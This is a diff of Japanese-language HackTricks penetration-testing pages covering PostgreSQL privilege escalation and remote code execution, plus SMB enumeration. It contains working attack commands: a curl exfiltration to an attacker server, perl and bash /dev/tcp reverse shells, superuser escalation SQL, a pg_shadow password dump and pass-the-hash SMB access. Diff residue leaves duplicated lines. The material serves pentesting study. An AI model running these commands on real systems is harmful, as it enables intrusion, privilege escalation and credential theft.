このクエリは`base/3/1337`のようなものを返すはずです。ディスク上の完全なパスは`$DATA_DIRECTORY/base/3/1337`、つまり`/var/lib/postgresql/13/main/base/3/1337`になります。
3. `lo_*`関数を使用してファイルノードをダウンロードする
このクエリは`base/3/1337`のようなものを返すはずです。ディスク上の完全なパスは`$DATA_DIRECTORY/base/3/1337`、つまり`/var/lib/postgresql/13/main/base/3/1337`になります。 3. `lo_*`関数を使用してファイルノードをダウンロードする
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. ターゲットテーブルに関連付けられたデータ型を取得する
```sql
@ -373,24 +402,26 @@ JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、すべての`rol*`ブールフラグを1に設定して、ファイルードを編集します。
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) 6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(オプション)_ 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. これで、PostgreSQLで更新されたテーブル値が表示されるはずです。
`pg_authid`テーブルを編集することで、スーパーアドミンにもなれます。**次のセクション**を参照してください(pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
@ -399,11 +430,14 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
### **プログラムへのRCE**
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、RCEのためにCOPYを使用できるのは**スーパーユーザー**と**`pg_execute_server_program`グループのメンバー**だけです(情報漏えいの例:
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、RCEのためにCOPYを使用できるのは**スーパーユーザー**と\*\*`pg_execute_server_program`グループのメンバー\*\*だけです(情報漏えいの例:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
実行例:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
@ -416,11 +450,14 @@ DROP TABLE IF EXISTS cmd_exec;
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**自分自身をそのグループのメンバーにすることができます:**
```sql
GRANT pg_execute_server_program TO username;
```
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
@ -464,16 +501,13 @@ PostgreSQLの**構成ファイル**は**postgresユーザー**によって**書
その後、攻撃者は次の手順を実行する必要があります:
1. サーバーから**秘密鍵をダンプ**
2. ダウンロードした秘密鍵を**暗号化**
`rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
2. ダウンロードした秘密鍵を**暗号化** `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **上書き**
4. 現在のPostgreSQL **構成**を**ダンプ**
5. 上記の属性構成で**構成**を**上書き**する:
`ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
`ssl_passphrase_command_supports_reload = on`
5. 上記の属性構成で**構成**を**上書き**する: `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`を実行
これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**postgresユーザーが読み取れるようにであり、_ /var/lib/postgresql/12/main_に配置されている場合にのみ機能することに気付きました。
これをテストしてみたところ、**秘密鍵ファイルが権限640**である必要があり、**rootが所有**しており、**グループssl-certまたはpostgres**postgresユーザーが読み取れるようにであり、\_ /var/lib/postgresql/12/main\_に配置されている場合にのみ機能することに気付きました。
#### **archive\_command**を使用したRCE
@ -518,19 +552,22 @@ PostgreSQLの**構成ファイル**は**postgresユーザー**によって**書
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードして元のファイルを上書き
7. ステップ5で作成した`payload.so`を`/tmp`ディレクトリにアップロード
8. サーバー構成を再読み込みしてサーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出します
9. 次回のDB接続時にリバースシェル接続を受け取ります。
## **Postgresの権限昇格**
### CREATEROLE権限昇格
#### **権限付与**
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると_**`CREATEROLE`**権限を持つロールは、**スーパーユーザーでない**任意のロールに対して**メンバーシップの付与または取り消し**を行うことができます。_
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると_**`CREATEROLE`****権限を持つロールは、スーパーユーザーでない任意のロールに対してメンバーシップの付与または取り消し**を行うことができます。_
したがって、**`CREATEROLE`権限があれば、他のロール**(スーパーユーザーでない)へのアクセス権を付与して、ファイルの読み書きやコマンドの実行が可能になります。
したがって、**`CREATEROLE`**権限があれば、他の**ロール**(スーパーユーザーでない)へのアクセス権を付与して、ファイルの読み書きやコマンドの実行が可能になります。
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -539,21 +576,27 @@ GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### パスワードの変更
このロールを持つユーザーは、他の**非スーパーユーザー**の**パスワード**も**変更**できます。
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### SUPERUSERへの昇格
**ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできる**ことが一般的です。したがって、**コードを実行する権限を取得**したら、これらの権限を悪用して**`SUPERUSER`**ロールを取得できます。
**ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできる**ことが一般的です。したがって、**コードを実行する権限を取得**したら、これらの権限を悪用して\*\*`SUPERUSER`\*\*ロールを取得できます。
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
通常、これは**`pg_hba.conf`**ファイル内の次の行によって可能になります:
通常、これは\*\*`pg_hba.conf`\*\*ファイル内の次の行によって可能になります:
```bash
# "local" is for Unix domain socket connections only
local all all trust
@ -573,11 +616,13 @@ host all all ::1/128 trust
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
この考え方を利用して、**インデックス関数を持つテーブル**に対して**INSERT/UPDATE/ANALYZE**コマンドが実行されると、**関数**が**コマンドの一部として呼び出され、テーブルの所有者権限**で実行されるという事実を組み合わせると、悪意のある関数を使用してコマンドを実行できるようになります。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### 搾取
1. 新しいテーブルを作成します。
@ -587,6 +632,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス機能が「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。
PostgreSQLでは、このフローは次のようになります
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
@ -607,13 +653,17 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
ANALYZE public.temp_table;
```
その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます。
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### ローカルログイン
一部の設定ミスのあるPostgreSQLインスタンスでは、**`dblink`関数**を使用して、127.0.0.1からのローカルログインが可能になる場合があります。
```sql
\du * # Get Users
\l # Get databases
@ -625,14 +675,17 @@ dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
前のクエリが機能するためには、**`dblink` 関数が存在する必要があります**。存在しない場合は、次のように作成してみることができます。
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@ -640,10 +693,13 @@ dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
この関数が存在するかどうかを確認することができます:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **セキュリティデフィナーで定義されたカスタム関数**
[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**セキュリティデフィナーのフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
@ -670,11 +726,13 @@ PERFORM dblink_disconnect();
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**セキュリティデフィナーを持つ関数は**、それを**所有するユーザーの権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、攻撃者によって制御されるパラメーターで**特権操作を行っている場合**、Postgres内で**権限昇格**される可能性があります。
前述のコードの4行目で、関数に**セキュリティデフィナー**フラグがあることがわかります。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
そして**コマンドを実行**してください:
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
@ -708,6 +766,7 @@ PostgreSQLサーバーファイルを**読み書き**できる場合、内部の
6. `lo_*`関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
7. オプション高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
8. これで完全なスーパーアドミンの権限を持つようになります。
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
@ -715,9 +774,11 @@ msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### ロギング
_**postgresql.conf**_ ファイルの中で、以下を変更することで PostgreSQL ログを有効にできます:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -726,17 +787,20 @@ sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
### pgadmin
[pgadmin](https://www.pgadmin.org)は、PostgreSQLの管理および開発プラットフォームです。\
**pgadmin4.db**ファイル内に**パスワード**が見つかります。\
スクリプト内の_decrypt_関数を使用して、それらを復号化できます[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
スクリプト内の\_decrypt\_関数を使用して、それらを復号化できます[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
PostgreSQLにおけるクライアント認証は、**pg\_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントIPアドレス範囲該当する場合、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。

View file

@ -0,0 +1,638 @@
# 139,445 - Pentesting SMB
## 139,445 - SMBのペンテスト
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローする。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。**
</details>
### **ポート139**
_**ネットワーク基本入出力システムNetBIOS**_\*\*は、ローカルエリアネットワークLAN内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**データの送受信を容易にする**ために設計されたソフトウェアプロトコルです。 NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と場所は、16文字までのNetBIOS名を使用して達成され、通常はコンピュータ名とは異なります。 2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーションクライアントとして動作が別のアプリケーションサーバーとして動作を「呼び出す」コマンドを発行することによって、**TCPポート139**を使用して開始されます。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
### ポート445
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。**SMB**とは「**Server Message Blocks**」の頭字語であり、現代では\*\*Common Internet File System (CIFS)\*\*としても知られています。アプリケーション層のネットワークプロトコルであるSMB/CIFSは、主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のード間でのさまざまな形式の通信を容易にします。
例えば、Windowsの場合、SMBはTCP/IP上で直接動作することが強調されており、ポート445の利用によりNetBIOS over TCP/IPの必要性がなくなります。一方、他のシステムでは、ポート139の使用が観察され、SMBがNetBIOS over TCP/IPと共に実行されていることが示されています。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
#### SMB
**Server Message Block (SMB)プロトコルは、クライアント-サーバーモデルで動作し、ファイルへのアクセス、ディレクトリ、プリンタ、およびルータなどの他のネットワークリソースへのアクセスを規制するために設計されています。主にWindows**オペレーティングシステムシリーズで利用されており、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスにやり取りできるようにしています。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムに実装するための無料ソフトウェアソリューションを提供しており、これによりSMBを介したクロスプラットフォームの通信が容易になっています。
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントにサーバーの実際の構造から一部独立した階層を表示します。**アクセス制御リストACLsは、アクセス権限を定義し、`実行`**、**`読み取り`**、および\*\*`完全アクセス`**などの属性を含むユーザー権限に対して**細かい制御\*\*を可能にします。これらの権限は、共有に基づいて個々のユーザーやグループに割り当てることができ、サーバーに設定されたローカル権限とは異なります。
#### IPC$ 共有
IPC$共有へのアクセスは、匿名のヌルセッションを介して取得でき、名前付きパイプを介して公開されたサービスとのやり取りが可能になります。この目的には、ユーティリティ`enum4linux`が役立ちます。適切に利用すると、次の情報を取得できます:
* オペレーティングシステムに関する情報
* 親ドメインの詳細
* ローカルユーザーとグループの一覧
* 利用可能なSMB共有に関する情報
* 有効なシステムセキュリティポリシー
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMBServer Message Blockサービスのセキュリティポストを評価するために重要です。`enum4linux`は、対象システムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
```bash
enum4linux -a target_ip
```
上記のコマンドは、`target_ip` で指定されたターゲットに対して完全な列挙を実行するために `enum4linux` が使用される方法の例です。
### NTLMとは
NTLMが何かわからない場合や、それがどのように機能し、どのように悪用できるかを知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。このページでは、**このプロトコルがどのように機能し、どのようにそれを悪用できるか**が説明されています:
{% content-ref url="../../windows-hardening/ntlm/" %}
[ntlm](../../windows-hardening/ntlm/)
{% endcontent-ref %}
### **サーバーの列挙**
#### ホストを検索するためにネットワークをスキャンします:
```bash
nbtscan -r 192.168.0.1/24
```
#### SMBサーバーバージョン
SMBバージョンへの潜在的な脆弱性を探すためには、使用されているバージョンを知っておくことが重要です。この情報が他の使用されているツールに表示されない場合は、次の方法があります
* **MSF**の補助モジュール _**auxiliary/scanner/smb/smb\_version**_ を使用する
* または、このスクリプト:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
#### **脆弱性の検索**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
#### **可能性のある**資格情報
| **ユーザー名** | **一般的なパスワード** |
| -------------------- | -------------------------------------- |
| _(空白)_ | _(空白)_ |
| guest | _(空白)_ |
| Administrator, admin | _(空白)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
#### 総当たり攻撃
* [**SMB総当たり攻撃**](../../generic-methodologies-and-resources/brute-force.md#smb)
#### SMB環境情報
#### 情報の取得
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
#### ユーザー、グループ、およびログインユーザーの列挙
この情報は、enum4linuxとenum4linux-ngからすでに収集されているはずです。
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
#### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
## Oneliner
### Description
A one-liner is a single line of code or command that performs a specific task or function. In the context of penetration testing, one-liners can be used to quickly execute commands on a target system to gather information, exploit vulnerabilities, or perform other actions. One-liners are often used for their simplicity and efficiency in carrying out tasks during a penetration test.
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
#### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
#### **LSARPCおよびSAMR rpcclientの列挙**
{% content-ref url="rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](rpcclient-enumeration.md)
{% endcontent-ref %}
#### LinuxからのGUI接続
**ターミナルで:**
`xdg-open smb://cascade.htb/`
**ファイルブラウザウィンドウnautilus、thunarなどで:**
`smb://friendzone.htb/general/`
### 共有フォルダの列挙
#### 共有フォルダのリスト
何かにアクセスできるかどうかを常に確認することをお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
#### **共有フォルダの接続/リスト**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
#### **Windows共有を手動で列挙し、接続する**
ホストマシンの共有を表示することが制限されている可能性があり、共有をリストしようとすると接続できる共有がないかのように表示されることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用して NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME のような応答を探すことがおすすめです。これらは、共有が存在しアクセス権がないか、共有が存在しないかを示す可能性があります。
Windowsターゲットの一般的な共有名は以下の通りです。
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
_**Network Security Assessment 3rd edition**_ からの一般的な共有名)
以下のコマンドを使用してこれらに接続を試みることができます。
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
または、このスクリプト(ヌルセッションを使用)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
#### Examples
**Enumerating SMB Shares**
To list the available SMB shares on a target system, you can use tools like `smbclient` or `smbmap`. Here is an example using `smbclient`:
```bash
smbclient -L //<target_ip>
```
**Enumerating SMB Users**
To enumerate users via SMB, tools like `enum4linux` can be used. Here is an example command:
```bash
enum4linux -U -S //<target_ip>
```
**Enumerating SMB Groups**
To enumerate groups via SMB, you can use the following command with `enum4linux`:
```bash
enum4linux -G -S //<target_ip>
```
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
#### **Windows / サードパーティツールを使用せずに共有を列挙する**
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
コマンドプロンプト
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMCスナップイングラフィカル
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exeグラフィカル、`\\<ip>\`を入力して、利用可能な非非表示共有を表示します。
#### 共有フォルダをマウント
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
#### **ファイルのダウンロード**
以前のセクションを読んで、資格情報/Pass-the-Hashを使用して接続する方法を学んでください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
#### ドメイン共有フォルダの検索
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) のスパイダー。
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
特に興味深いのは、**`Registry.xml`** と呼ばれるファイルで、**Group Policy** を介して **autologon** に設定されたユーザーの **パスワード** が含まれている可能性があります。また、**`web.config`** ファイルには資格情報が含まれていることがあります。
{% hint style="info" %}
**SYSVOL共有** はドメイン内のすべての認証済みユーザーによって **読み取り可能** です。そこには多くの異なるバッチ、VBScript、PowerShell **スクリプト**が含まれているかもしれません。\
内部の **スクリプト****チェック** するべきです。そこには **パスワード** などの機密情報が含まれている可能性があります。
{% endhint %}
### レジストリの読み取り
いくつかの発見された資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して次のように試すことができます:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
### ポストエクスプロイテーション
**Samba** サーバーの**デフォルト構成**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な構成**が含まれている可能性があります:
| **設定** | **説明** |
| --------------------------- | ------------------------------------- |
| `browseable = yes` | 現在の共有内の利用可能な共有をリスト表示することを許可しますか? |
| `read only = no` | ファイルの作成と変更を禁止しますか? |
| `writable = yes` | ユーザーがファイルを作成および変更できるようにしますか? |
| `guest ok = yes` | パスワードを使用せずにサービスに接続を許可しますか? |
| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重しますか? |
| `create mask = 0777` | 新しく作成されたファイルに割り当てる必要のあるアクセス許可は何ですか? |
| `directory mask = 0777` | 新しく作成されたディレクトリに割り当てる必要のあるアクセス許可は何ですか? |
| `logon script = script.sh` | ユーザーのログイン時に実行する必要のあるスクリプトは何ですか? |
| `magic script = script.sh` | スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか? |
| `magic output = script.out` | マジックスクリプトの出力を保存する必要のある場所はどこですか? |
`Smbstatus` コマンドは**サーバー**と**接続しているユーザー**に関する情報を提供します。
### Kerberos を使用した認証
**smbclient** と **rpcclient** ツールを使用して **kerberos** に**認証**できます:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
